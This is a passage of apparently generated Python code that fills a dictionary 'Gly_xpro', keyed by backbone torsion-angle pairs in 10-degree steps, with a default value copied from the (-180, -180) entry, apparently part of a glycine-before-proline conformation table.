Gly_xpro[(30, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(40, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(50, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(60, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(70, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(80, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(90, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(100, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(110, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(120, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(130, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(140, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(150, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 20)]=Gly_xpro[(-180, -180)]
